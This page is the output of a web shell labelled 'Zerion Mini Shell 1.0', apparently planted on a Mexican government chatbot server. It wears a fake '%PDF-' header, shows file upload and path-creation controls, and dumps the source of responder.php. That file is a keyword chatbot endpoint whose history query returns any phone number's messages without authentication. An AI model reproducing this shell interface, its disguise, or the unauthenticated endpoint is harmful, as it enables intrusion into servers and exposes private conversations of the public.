%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/chatbot.tjamich.gob.mx/conexion/
Upload File :
Create Path :
Current File : /home/tjamichg/chatbot.tjamich.gob.mx/conexion/responder.php

<?php
//session_start();
header("Access-Control-Allow-Origin: *");
header("Content-Type: application/json charset=utf-8");

require("conexion.php");

$input = json_decode(file_get_contents("php://input"), true);

if (!$input || !isset($input["mensaje"]) || !isset($input["telefono"])) {
    echo json_encode(["respuesta" => "Error: Datos incompletos."]);
    exit;
}

$mensaje = strtolower(trim($input["mensaje"]));
$telefono = trim($input["telefono"]);

$palabraAsesor = ["asesor", "comunicarme con alguien", "real"];
foreach ($palabraAsesor as $palabraClave){
    if (strpos($mensaje, $palabraClave) !== false){
        exit;
    }
}
//trae el historial
if ($mensaje === "") {
    $sqlHistorial = "SELECT mensaje_usuario, respuesta FROM mensajes WHERE telefono = ? ORDER BY fecha ASC";
    $stmt = $conexion->prepare($sqlHistorial);
    $stmt->bind_param("s", $telefono);
    $stmt->execute();
    $resultado = $stmt->get_result();

    $historial = [];
    while ($fila = $resultado->fetch_assoc()) {
        $historial[] = [
            "usuario" => $fila["mensaje_usuario"],
            "bot" => $fila["respuesta"]
        ];
    }

    echo json_encode(["historial" => $historial]);
    $stmt->close();
    $conexion->close();
    exit;
}

//consulta dede las respuestas de las palabras clave
$sql = "SELECT palabra_clave, respuesta FROM respuestas";
$resultado = $conexion->query($sql);

$encontrado = false;
$respuestaBot = "Lo siento, no entendí eso. ¿Podrías repetirlo?";

while ($fila = $resultado->fetch_assoc()) {
    $palabraClave = strtolower($fila['palabra_clave']);
    if (strpos($mensaje, $palabraClave) !== false) {  //si la palabra clave está en el mensaje
        $respuestaBot = $fila['respuesta'];
        $encontrado = true;
        break;  //si encontramos la palabra, ya no es necesario seguir buscando
    }
}

//guardamos el mensaje del usuario en la base de datos
$sqlInsert = "INSERT INTO mensajes (telefono, mensaje_usuario, respuesta) VALUES (?, ?, ?)";
$stmt = $conexion->prepare($sqlInsert);
$stmt->bind_param("sss", $telefono, $mensaje, $respuestaBot);
$stmt->execute();
$stmt->close();

    var_dump($respuestaBot);

echo json_encode(["respuesta" => $respuestaBot]);

$conexion->close();
?>

Zerion Mini Shell 1.0